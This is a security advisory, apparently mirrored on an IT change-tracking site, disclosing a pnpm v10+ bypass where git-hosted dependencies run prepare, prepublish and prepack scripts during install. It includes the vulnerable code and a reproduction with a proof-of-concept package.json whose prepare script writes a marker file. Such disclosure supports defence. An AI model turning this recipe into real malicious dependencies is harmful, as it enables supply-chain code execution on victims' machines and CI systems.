Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 02:36 UTC Customize Public modeDiscuss ChangeIntel on Discord

pnpm v10+ Bypass "Dependency lifecycle scripts execution disabled by default"

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-379q-355j-w6rj

Published

# pnpm v10+ Git Dependency Script Execution Bypass ### Summary A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during `pnpm install`, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks `postinstall` scripts via the `onlyBuiltDependencies` mechanism, git dependencies can still execute `prepare`, `prepublish`, and `prepack` scripts during the fetch phase, enabling remote code execution without user consent or approval. ### Details pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default ([PR #8897](https://github.com/pnpm/pnpm/pull/8897)). This is implemented by setting `onlyBuiltDependencies = []` when no build policy is configured: **File:** `pkg-manager/core/src/install/extendInstallOptions.ts` (lines 290-291) ```typescript if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) { opts.onlyBuiltDependencies = [] } ``` This creates an allowlist that blocks all packages from running scripts during the **BUILD phase** in `exec/build-modules/src/index.ts`. However, git-hosted dependencies are processed differently. During the **FETCH phase**, git packages are prepared using `preparePackage()`: **File:** `exec/prepare-package/src/index.ts` (lines 28-57) ```typescript export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) { // ... if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir } // Only checks ignoreScripts, not onlyBuiltDependencies const execOpts: RunLifecycleHookOptions = { // ... rawConfig: omit(['ignore-scripts'], opts.rawConfig), // Explicitly removes ignore-scripts! } // Runs npm/pnpm install await runLifecycleHook(installScriptName, manifest, execOpts) // Runs prepare scripts for (const scriptName of PREPUBLISH_SCRIPTS) { // ['prepublish', 'prepack', 'publish'] await runLifecycleHook(newScriptName, manifest, execOpts) } } ``` The `ignoreScripts` option defaults to `false` and is completely separate from `onlyBuiltDependencies`. The `onlyBuiltDependencies` allowlist is never consulted during the fetch phase. **Affected scripts that execute during fetch:** - `prepare` - `prepublish` - `prepack` **Attack vectors:** - `git+https://github.com/attacker/malicious.git` - `github:attacker/malicious` - `gitlab:attacker/malicious` - `bitbucket:attacker/malicious` - `git+ssh://[email protected]/attacker/malicious.git` - `git+file:///path/to/local/repo` ### PoC **Prerequisites:** - pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1) - git **Steps to reproduce:** 1. Extract the attached [poc.zip](https://github.com/user-attachments/files/23797816/poc.zip) 2. Run the PoC script: ```bash cd poc chmod +x run-poc.sh ./run-poc.sh ``` 3. Verify the marker file was created by the malicious script: ```bash cat /tmp/pnpm-vuln-poc-marker.txt ``` **Manual reproduction:** 1. Create a malicious package with a `prepare` script: ```json { "name": "malicious-pkg", "version": "1.0.0", "scripts": { "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\"" } } ``` 2. Initialize it as a git repo and commit the files 3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball): ```json { "dependencies": { "malicious-pkg": "git+file:///path/to/malicious-pkg" } } ``` 4. Run `pnpm install` - the prepare script executes without any warning or approval prompt ### Impact **Severity: High** **Who is impacted:** - All pnpm v10+ users - Users who believed they were protected by the v10 "scripts disabled by default" feature - CI/CD pipelines **Attack scenarios:** 1. **Supply chain attack:** An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during `pnpm install` **What an attacker can do:** - Execute arbitrary code with the victim's privileges - Exfiltrate environment variables, secrets, and credentials - Modify source code or inject backdoors - Establish persistence or reverse shells - Access the filesystem and network **Why this bypasses security expectations:** - pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default" - Users expect git dependencies to follow the same security model as npm registry packages - There is no warning that git dependencies are treated differently - The `onlyBuiltDependencies` configuration does not affect git dependencies

Source published
7 Jan 2026 19:07:43 UTC
Source modified
3 Feb 2026 03:16:14 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 10 Nov 02:36 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current